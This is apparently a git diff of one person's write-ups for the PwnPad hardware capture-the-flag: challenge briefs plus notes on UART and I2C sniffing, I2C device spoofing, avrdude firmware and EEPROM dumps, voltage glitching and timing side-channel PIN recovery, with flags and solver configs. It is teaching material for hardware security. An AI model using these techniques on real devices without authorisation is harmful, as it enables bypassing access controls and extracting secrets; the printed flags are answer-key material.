+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
